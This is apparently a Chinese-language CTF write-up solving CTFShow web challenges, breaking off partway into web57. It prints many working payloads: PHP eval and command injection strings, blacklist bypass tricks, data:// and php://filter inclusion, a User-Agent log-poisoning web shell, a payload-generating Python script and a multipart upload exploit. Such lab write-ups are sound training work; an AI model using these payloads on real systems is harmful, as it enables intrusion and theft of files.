CTFShow_webX_wp

Last Commit Date: 2025/08/01 入门难研究难学的还难找工作还难更重要的是题目还难 ^_^?

信息搜集

web1

Ctrl + U , 源代码见答案

web2

Ctrl + U , 源代码见答案

web3

Request Header

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
access-control-allow-credentials
true

access-control-allow-headers
DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization,x-auth-token,Cookies,Aaa,Date,Server,Content-Length,Connection
access-control-allow-methods
GET,POST,PUT,DELETE,OPTIONS
access-control-expose-headers
Content-Type,Cookies,Aaa,Date,Server,Content-Length,Connection
access-control-max-age
1728000
connection
keep-alive
content-encoding
gzip
content-type
text/html; charset=UTF-8
date
Fri, 11 Jul 2025 09:55:18 GMT
flag
ctfshow{280c276d-5fb9-4545-979f-4c391f889527}
server
nginx/1.20.1
transfer-encoding
chunked
x-powered-by
PHP/7.3.11

web4

1
2
https://e7aa3a5c-015f-477c-ac04-4ad3eb374dd3.challenge.ctf.show/robots.txt
https://e7aa3a5c-015f-477c-ac04-4ad3eb374dd3.challenge.ctf.show/flagishere.txt

web5

php 源码泄露,直接访问 /index.phps 即可。

web6

1
[19:18:03] 200 - 486B - https://930cddac-8a12-4a7f-b1e3-a4b09a83e2bb.challenge.ctf.show/www.zip

存在 fl000g.txt 文件,访问得到 FLAG。

web7

1
[19:27:37] 301 - 169B - https://98884501-5883-4a9d-bda3-26c243eded98.challenge.ctf.show/.git -> http://98884501-5883-4a9d-bda3-26c243eded98.challenge.ctf.show/.git/

直接访问即可。

web8

1
[19:31:53] 301 - 169B - https://9699df74-1b8a-4bca-b624-62f4a5d2022a.challenge.ctf.show/.svn -> http://9699df74-1b8a-4bca-b624-62f4a5d2022a.challenge.ctf.show/.svn/

直接访问即可。

web9

1
[19:38:10] 200 - 45B - https://ce0311e9-b2d5-4221-a3e3-df8ab68ee8d5.challenge.ctf.show/index.php.swp

直接访问即可。

web10

Cookie:

1
Cookie: cf_clearance=9cpZ27MOTWob8158QqfwmJ5hKMLOJppiNM0AcwXpcCI-1752232923-1.2.1.1-eBgWoMDqxpXVP6d5PXubBfSrPzskOAC8RWDWizuTq8lSBJNEVJpdJ2ZR0.uaHNn.SPuZbAEnnPjfbIlo8W.AsrZZ07uow5ixpVp7EaFUOkUj5m.EFUPClDADKxr6bMPUqIMruaNZuQ70uX8l2sN9XqnQ3KmwninkCHrsOhKtvAc2QBer11_l2a.Z_QBd4.zCZoboHyGGEVP0cDow8PhRQV_di3TOsKXI6ToKuOfhcNk; flag=ctfshow%7B8cad38d8-6431-4eac-a275-53027282317e%7D

web12

1
[20:23:46] 401 - 42B - https://16ae8a3e-6f52-4687-b660-468cf5345fe3.challenge.ctf.show/admin/index.php

同时页面最下方:

1
<div class="location_main">Help Line Number : <a href="[#](https://16ae8a3e-6f52-4687-b660-468cf5345fe3.challenge.ctf.show/#)">372619038</a></div>
1
admin:372619038

web13

document 泄露 admin pannel 以及 cred,直接访问即可。

1
https://6be3241f-8591-4b91-9d6d-71ba23b8d883.challenge.ctf.show/system1103/login.php

web14

1
[21:25:45] 301 - 169B - https://c3bab82d-719d-43c2-9e17-33c0115ebca0.challenge.ctf.show/editor -> http://c3bab82d-719d-43c2-9e17-33c0115ebca0.challenge.ctf.show/editor/

访问后,使用插入文件->文件空间
就可以看到服务器上的内容,访问 https://URL/nothinghere/fl000g.txt 即可拿到 flag。

Nday:
关于中写了 editor 的版本信息:

1
2
KindEditor 4.1.11 (2016-03-31)
Copyright © [kindsoft.net](http://www.kindsoft.net/) All rights reserved.

https://github.com/kindsoft/kindeditor/issues/289

1
2
3
https://c3bab82d-719d-43c2-9e17-33c0115ebca0.challenge.ctf.show/editor/php/file_manager_json.php?path=var/www/html/nothinghere/

{"moveup_dir_path":"var\/www\/html\/","current_dir_path":"var\/www\/html\/nothinghere\/","current_url":"\/editor\/php\/..\/attached\/var\/www\/html\/nothinghere\/","total_count":1,"file_list":[{"is_dir":false,"has_file":false,"filesize":45,"dir_path":"","is_photo":false,"filetype":"txt","filename":"fl000g.txt","datetime":"2025-07-11 13:21:26"}]}

也可以看到该目录下存在 fl000g.txt

web15

1
[22:06:04] 200 - 1KB - https://995ba1ca-8c67-437b-981e-82ddcff76fe2.challenge.ctf.show/admin/

同时在 index 可以找到一个邮箱,社工一下就可以重置密码,密保问题为西安。

web16

访问 tz.php 可以发现是 [雅黑PHP探针[简体版]v0.4.7](http://www.yahei.net/)
PHP相关参数 中可以点击 phpinfo,在其中搜索 FLAG 即可看到。

web17

1
[12:26:01] 200 - 934B - https://5b507ea0-ae31-427e-b436-c2b1a45c14ea.challenge.ctf.show/backup.sql

下载可以直接找到 FLAG。

1
INSERT INTO `ctfshow_secret` VALUES ('ctfshow{8040b162-f58d-4cdf-a526-3e79432451d2}');

web18

1
<script type="text/javascript" src="[js/Flappy_js.js](https://84444e83-c959-4fb0-905a-50adce4dd89d.challenge.ctf.show/js/Flappy_js.js)"></script>
1
2
3
4
if(score>100)
{
var result=window.confirm("\u4f60\u8d62\u4e86\uff0c\u53bb\u5e7a\u5e7a\u96f6\u70b9\u76ae\u7231\u5403\u76ae\u770b\u770b");
}

CC 解密(Unescape Unicode Characters)

1
你赢了,去幺幺零点皮爱吃皮看看
1
https://84444e83-c959-4fb0-905a-50adce4dd89d.challenge.ctf.show/110.php

web19

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|<script type="text/javascript">|
|function checkForm(){|
|var key = "0000000372619038";|
|var iv = "ilove36dverymuch";|
|var pazzword = $("#pazzword").val();|
|pazzword = encrypt(pazzword,key,iv);|
|$("#pazzword").val(pazzword);|
|$("#loginForm").submit();|
||
|}|
|function encrypt(data,key,iv) { //key,iv:16位的字符串|
|var key1 = CryptoJS.enc.Latin1.parse(key);|
|var iv1 = CryptoJS.enc.Latin1.parse(iv);|
|return CryptoJS.AES.encrypt(data, key1,{|
|iv : iv1,|
|mode : CryptoJS.mode.CBC,|
|padding : CryptoJS.pad.ZeroPadding|
|}).toString();|
|}|
||
|</script>|
|<!--|
|error_reporting(0);|
|$flag="fakeflag"|
|$u = $_POST['username'];|
|$p = $_POST['pazzword'];|
|if(isset($u) && isset($p)){|
|if($u==='admin' && $p ==='a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04'){|
|echo $flag;|
|}|
|}|
|-->|

AES 加密 :

1
2
3
4
KEY 0000000372619038 LATIN1
IV ilove36dverymuch UTF8
encode string: a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04
decode string: i_want_a_36d_girl

admin/i_want_a_36d_girl 即可。

web20

1
[12:21:28] 200 - 348KB - https://8c007882-be31-47db-b264-6c73c418a103.challenge.ctf.show/db/db.mdb

打开查找 flag:

1
返回主切换面板flag{ctfshow_old_database}

爆破

web21

进入后直接就是一个 tomcat 的登录框,直接用 tomcat 的 default base64 encode 爆破无果,bp 自定义三段爆破:

cred: Authorization: Basic YWRtaW46c2hhcms2Mw== | admin:shark63

1
2
3
4
5
6
7
8
9
10
11
12
13
14
HTTP/1.1 200 OK
Server: nginx/1.20.1
Date: Sat, 12 Jul 2025 06:15:14 GMT
Content-Type: text/html; charset=utf-8
Connection: close
X-Powered-By: PHP/7.3.11
Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: Content-Type,Cookies,Aaa,Date,Server,Content-Length,Connection
Access-Control-Allow-Headers: DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization,x-auth-token,Cookies,Aaa,Date,Server,Content-Length,Connection
Access-Control-Max-Age: 1728000
Content-Length: 45

ctfshow{d58c20dd-2f14-4e68-93e9-0b050bddf581}

web23

满足条件即可,chatgpt 一把梭

1
2
3
4
5
6
7
8
9
10
11
import hashlib

for i in range(1000000):
s = str(i)
m = hashlib.md5(s.encode()).hexdigest()
if m[1] == m[14] == m[17] and m[31] == '3':
print(f"[✓] 找到符合条件的输入:")
print(f"token = {s}")
print(f"md5(token) = {m}")
break

1
2
3
[✓] 找到符合条件的输入:
token = 422
md5(token) = f85454e8279be180185cac7d243c5eb3

web24

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php  

/*
# -*- coding: utf-8 -*-
@Author: h1xa
@Date:   2020-09-03 13:26:39
@Last Modified by:   h1xa
@Last Modified time: 2020-09-03 13:53:31
@email: h1xa@ctfer.com
@link: https://ctfer.com

*/

error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){    $r $_GET['r'];    mt_srand(372619038);
    if(intval($r)===intval(mt_rand())){
        echo $flag;
    }
}else{    highlight_file(__FILE__);
    echo system('cat /proc/version');
}

?>

伪随机数,直接生成即可。

1
2
3
4
5
6
7
8
<?php  
mt_srand(372619038);
echo mt_rand()
?>

//K:\XAMPP\php\php.exe K:\PHP_Study\CTF_temp\0x01.php
//1155388967
//进程已结束,退出代码为 0
1
https://25102ef1-b694-403e-9e3d-e87115a1f4f8.challenge.ctf.show/?r=1155388967

…..

命令执行

web29

1
2
3
4
5
6
7
8
error_reporting(0);  
if(isset($_GET['c'])){    $c $_GET['c'];
    if(!preg_match("/flag/i"$c)){
        eval($c);
    }
    
}else{    highlight_file(__FILE__);
}

满足输入的 get 中不包含 flag 即可。

1
2
3
https://fd469e16-ff42-44a0-91a9-027ecec8affd.challenge.ctf.show/?c=system('id');

uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)

payload:

1
2
3
4
5
?c=system('cat *');
?c=system('cat fla*');
?c=system('nl ./*');
?c=eval($_GET[1]);&1=system('cat ./flag.php');

web30

1
if(!preg_match("/flag|system|php/i"$c)){

没有 ban eval(), 直接秒

1
?c=eval($_GET[1]);&1=system('cat ./flag.php');

也可以用反引号代替 system()

1
echo `cat fla''g.p''hp`

web31

1
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i"$c)){

无法使用 cat 以及空格,绕过即可:

1
2
3
4
?c=eval($_GET[1]);&1=system('cat ./flag.php');
?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
?c=passthru("tac$IFS$9fla*");
?c=$f=glob("f*");show_source($f[0]); // ?c=$f=print_r(glob(f*)); 可以看索引

web32

1
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i"$c)){

反引号,分号全部被 ban,可以使用 ?> 作为结束目的是代替分号。
参考 ?c=eval($_GET[1]);&1=system('cat ./flag.php');, 修改,payload:

1
2
?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
xekoner@NEVER-X-10-eJ:~/php_mt_seed/php_mt_seed$ echo -n 'PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNCAwMDo0OToxOQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDQgMDA6NDk6MjYNCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KJGZsYWc9ImN0ZnNob3d7YjcyODA0MzktM2FkNy00MTNhLWFlZmEtMWM3MTcyY2ZlNTFjfSI7DQo=' | base64 -d
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:49:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:49:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

$flag="ctfshow{b7280439-3ad7-413a-aefa-1c7172cfe51c}";

第二种方法是日志马。

1
../../../../var/log/nginx/access.log

包含了请求头的 User-Agent , 直接把 User-Agent 里改为马,然后 hacker-bar POST execute 即可

1
User-Agent: <?php system($_POST[1]); ?>
1
TP/1.1" 200 12632 "-" "uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data) " 172.12.23.142 - - [13/Jul/2025:14:3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
1=cat ./flag.php

| |
|---|
|172.12.23.142 - - [13/Jul/2025:14:34:30 +0000] "GET /favicon.ico HTTP/1.1" 200 1921 "https://73b67cb0-64ea-4610-a044-00ff928e6ff9.challenge.ctf.show/?c=include$_GET[1]?%3E&1=../../../../var/log/nginx/access.log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"|
|172.12.23.142 - - [13/Jul/2025:14:34:32 +0000] "GET /?c=include$_GET[1]?%3E&1=../../../../var/log/nginx/access.log HTTP/1.1" 200 12364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"|
|172.12.23.142 - - [13/Jul/2025:14:34:49 +0000] "GET /?c=include$_GET[1]?%3E&1=../../../../var/log/nginx/access.log HTTP/1.1" 200 12632 "-" "<?php|
||
|/*|
|# -*- coding: utf-8 -*-|
|# @Author: h1xa|
|# @Date: 2020-09-04 00:49:19|
|# @Last Modified by: h1xa|
|# @Last Modified time: 2020-09-04 00:49:26|
|# @email: h1xa@ctfer.com|
|# @link: https://ctfer.com|
||
|*/|
||
|$flag="ctfshow{b7280439-3ad7-413a-aefa-1c7172cfe51c}";|
|"|
|172.12.23.142 - - [13/Jul/2025:14:35:40 +0000] "GET /?c=include$_GET[1]?%3E&1=../../../../var/log/nginx/access.log HTTP/1.1" 200 12774 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"|
|172.12.23.142 - - [13/Jul/2025:14:35:40 +0000] "GET /favicon.ico HTTP/1.1" 200 1921 "https://73b67cb0-64ea-4610-a044-00ff928e6ff9.challenge.ctf.show/?c=include$_GET[1]?%3E&1=../../../../var/log/nginx/access.log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"|
|172.12.23.142 - - [13/Jul/2025:14:35:48 +0000] "GET /?c=include$_GET[1]?%3E&1=../../../../var/log/nginx/access.log HTTP/1.1" 200 13353 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"|
|172.12.23.142 - - [13/Jul/2025:14:35:48 +0000] "GET /favicon.ico HTTP/1.1" 200 1921 "https://73b67cb0-64ea-4610-a044-00ff928e6ff9.challenge.ctf.show/?c=include$_GET[1]?%3E&1=../../../../var/log/nginx/access.log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"|
|172.12.23.142 - - [13/Jul/2025:14:35:59 +0000] "POST /?c=include$_GET[1]?%3E&1=../../../../var/log/nginx/access.log HTTP/1.1" 200 13999 "https://73b67cb0-64ea-4610-a044-00ff928e6ff9.challenge.ctf.show/?c=include$_GET[1]?%3E&1=../../../../var/log/nginx/access.log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"|
|172.12.23.142 - - [13/Jul/2025:14:36:00 +0000] "GET /favicon.ico HTTP/1.1" 200 1921 "https://73b67cb0-64ea-4610-a044-00ff928e6ff9.challenge.ctf.show/?c=include$_GET[1]?%3E&1=../../../../var/log/nginx/access.log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"|

web33

1
2
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
即可。

web34

1
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i"$c)){

禁用了 : 等,但是在 c 中我们并没有传入这类字符,继续用之前的 payload 即可。

1
2
?c=include$_GET[1]?>&1=data://text/plain,<?php%20system(%27cat%20./flag.php%27);%20?>
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web35

1
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i"$c)){

payload:

1
?c=include$_GET[1]?>&1=data://text/plain,<?php%20system(%27cat%20./flag.php%27);%20?>

web36

1
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i"$c)){

0-9 被 ban 了,可以换成字符。

1
?c=include$_GET[a]?>&a=data://text/plain,<?php%20system(%27cat%20./flag.php%27);%20?>

web37

1
2
3
4
5
6
7
8
//flag in flag.php  
error_reporting(0);
if(isset($_GET['c'])){    $c $_GET['c'];
    if(!preg_match("/flag/i"$c)){
        include($c);
        echo $flag;
    
    }

包含输入的$c, 同时对输入做了过滤,可以使用 data 伪协议。
payload:

1
2
3
4
5
6
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgLi9mbGFnLnBocCcpOyA/Pg==



$ echo -n 'PD9waHAgc3lzdGVtKCdjYXQgLi9mbGFnLnBocCcpOyA/Pg==' | base64 -d
<?php system('cat ./flag.php'); ?>x

web38

1
if(!preg_match("/flag|php|file/i"$c)){

继续秒, payload:

1
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgLi9mbGFnLnBocCcpOyA/Pg==

web39

1
2
3
if(!preg_match("/flag/i"$c)){  
        include($c.".php");
    }

看到下面自动加上了 .php , 但是我们依旧可以使用上面这个代码,在最后加上 // 来注释掉最后的 .php
payload:

1
?c=data://text/plain,<?php system(%27cat%20./fla*.php%27); ?>//asdasdasdasd
1
$flag="ctfshow{8606c58e-ee76-4992-b86d-7b7944382a66}";//asdasdasdasd.php

可以看到最后的 .php 确实被我们输入的 // 注释掉了。

web40

1
2
3
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i"$c)){  
        eval($c);
    }

限制了很多,但是这里需要注意,括号都是大写括号,不是英文括号,同时没有过滤分号,直接上函数绕过即可。

1
?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

web41

1
2
3
4
5
6
7
8
<?php   
if(isset($_POST['c'])){    $c $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'$c)){
        eval("echo($c);");
    }
}else{    highlight_file(__FILE__);
}
?>

过滤了字母,数字等, 但是没有过滤 | , 可以使用 ASCII 0-255中没有被过滤的字符进行或运算,从而得到被绕过的字符。

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import re
import urllib
from urllib import parse
import requests

contents = []

for i in range(256):
for j in range(256):
hex_i = '{:02x}'.format(i)
hex_j = '{:02x}'.format(j)
preg = re.compile(r'[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-', re.I)
if preg.search(chr(int(hex_i, 16))) or preg.search(chr(int(hex_j, 16))):
continue
else:
a = '%' + hex_i
b = '%' + hex_j
c = chr(int(a[1:], 16) | int(b[1:], 16))
if 32 <= ord(c) <= 126:
contents.append([c, a, b])


def make_payload(cmd):
payload1 = ''
payload2 = ''
for i in cmd:
for j in contents:
if i == j[0]:
payload1 += j[1]
payload2 += j[2]
break
payload = '("' + payload1 + '"|"' + payload2 + '")'
return payload


URL = input('url:')
payload = make_payload('system') + make_payload('cat flag.php')
response = requests.post(URL, data={'c': urllib.parse.unquote(payload)})
print(response.text)

web42

1
    system($c." >/dev/null 2>&1");

标准输出和错误输出都被 null 了,可以直接用分号隔开,执行完前面的输出后在执行后面的,相当于没起到作用。
payload:

1
?c=cat flag.php;

web43

1
    if(!preg_match("/\;|cat/i"$c)){

把上一次的绕过方式都 ban 了,我们还可以用运算符
payload:

1
?c=nl ./*||

web44

1
    if(!preg_match("/;|cat|flag/i"$c)){

少了 flag,但是可以使用 fla* 绕过。
payload:

1
?c=nl ./*||

web45

1
    if(!preg_match("/\;|cat|flag| /i"$c)){

多了空格。关于空格的绕过很简单:

1
2
3
4
5
$IFS$1
$IFS
$IFS$9
${IFS}
%20

payload:

1
?c=nl$IFS$9./*||

web46

1
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i"$c)){

数字,空格绕过都被过滤:

1
2
fla* -> fla''g.php
$IFS$9 -> <

payloads:

1
2
3
4
?c=nl<fla''g.php||
ca\t<fla\g.php||
?c=more%09fla?.php%0A
?c=tac%09fl??.php||

web47

1
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i"$c)){

把一些常见的打开文件的命令 ban 了,但是还有一些 nl, tac, 等
payload:

1
?c=nl<fla''g.php||

使用 \ 当作分隔符绕过黑名单 ban 的 list 仍然可以使用:

1
?c=c\at<fla\g.php||

web48

1
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i"$c))

依然可以使用那些 payloads:

1
2
?c=c\at<fla\g.php||
?c=nl<fla''g.php||

web49

1
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i"$c)){

依然可以使用那些 payloads:

1
2
?c=c\at<fla\g.php||
?c=nl<fla''g.php||

web50 - 51

1
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i"$c)){

payloads:

1
2
?c=c\at<fla\g.php||
?c=nl<fla''g.php||

web52

1
2
3
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i"$c)){        
system($c." >/dev/null 2>&1");
}

空格被过滤但是可以使用 $IFS
payloads (flag 在根目录下):

1
2
?c=nl${IFS}/fla?||
?c=nl$IFS\/fla?||

web53

1
2
3
4
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i"$c)){  
echo($c);        
$d system($c);
echo "<br>".$d;

没有过滤 $ 符,简单绕过:

1
?c=nl$IFS\./fla?.php

++++ web54

1
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i"$c)){

过滤了很多命令,我们可以使用正则匹配+完整命令绕过, 空格使用 $IFS 绕过, payloads:

1
2
3
/bin/?at$IFS\./f???????

?c=uniq${IFS}f???.php
1
2
/bin/?at -> cat
f??????? -> flag.php

++++ web55

1
2
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i"$c)){        
system($c);

正则不允许出现所有字符,有几种方法绕过:

  • 0x01 base64+正则
1
2
3
?c=/???/????64 ????.???
等同于
?c=/bin/base64 flag.php
  • 0x02 $解析八进制
    ?c=$'\154\163'
    在 Bash 中,$'…' 是一种 ANSI‑C 风格的字符串字面量(ANSI‑C quoting),它会对其中的反斜杠转义序列(比如 \n\x41\123)进行 即时解析
1
2
?c=$'\154\163'  (ls)
?c=$'\143\141\164'%20* (cat *)

先创建一个 POST 提交 form 的 html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!-- web55 正则不允许出现所有字符 -->

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://8f02c525-c2a8-41ea-840a-57400e19d430.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>

随便上传一个 txt 文件,然后修改:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /?c=.%20/???/????????[@-[] HTTP/1.1
...
Connection: keep-alive

------WebKitFormBoundaryXOKRJOSgnqPgRC9j
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/plain

#!/bin/sh
cat flag.php
------WebKitFormBoundaryXOKRJOSgnqPgRC9j
Content-Disposition: form-data; name="submit"

提交
------WebKitFormBoundaryXOKRJOSgnqPgRC9j--


++++++++++++ Attation:
第一行 POST 要修改
Connection: 要修改成 keep-alive
filenale -> 1.txt
Content-type: 改为 text/plain
修改内容 #!/bin/sh cat flag.php, Go 发送即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
HTTP/1.1 200 OK
Server: nginx/1.20.1
Date: Mon, 14 Jul 2025 16:29:43 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/7.3.11
Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: Content-Type,Cookies,Aaa,Date,Server,Content-Length,Connection
Access-Control-Allow-Headers: DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization,x-auth-token,Cookies,Aaa,Date,Server,Content-Length,Connection
Access-Control-Max-Age: 1728000
Content-Length: 278

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-07 19:40:53
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 19:41:00
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


$flag="ctfshow{6956e00e-b927-4258-85ce-e9a9c0c4c1cb}";

++++ web56

比上一题多了数字 ban

1
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i"$c))

那就只能使用上一题的第三种方法 (无数字字母的命令执行):
https://blog.csdn.net/qq_46091464/article/details/108513145

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /?c=.%20/???/????????[@-[] HTTP/1.1
Host: 315767c4-59aa-428c-af2f-0d023b94d69a.challenge.ctf.show
Content-Length: 300
Cache-Control: max-age=0
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary14qhV6qdX4LpLr4n
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: keep-alive

------WebKitFormBoundary14qhV6qdX4LpLr4n
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/plain

#/bin/sh
cat flag.php
------WebKitFormBoundary14qhV6qdX4LpLr4n
Content-Disposition: form-data; name="submit"

提交
------WebKitFormBoundary14qhV6qdX4LpLr4n--

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
HTTP/1.1 200 OK
Server: nginx/1.20.1
Date: Tue, 15 Jul 2025 10:36:58 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/7.3.11
Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: Content-Type,Cookies,Aaa,Date,Server,Content-Length,Connection
Access-Control-Allow-Headers: DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization,x-auth-token,Cookies,Aaa,Date,Server,Content-Length,Connection
Access-Control-Max-Age: 1728000
Content-Length: 278

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-07 19:40:53
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 19:41:00
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


$flag="ctfshow{9c099cc6-04a5-4ee4-be66-018f16ac8a15}";

++++ web57

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php  

/*
# -*- coding: utf-8 -*-
@Author: h1xa
@Date:   2020-09-05 20:49:30
@Last Modified by:   h1xa
@Last Modified time: 2020-09-08 01:02:56
@email: h1xa@ctfer.com
@link: https://ctfer.com
*/

// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){    $c=$_GET['c'];
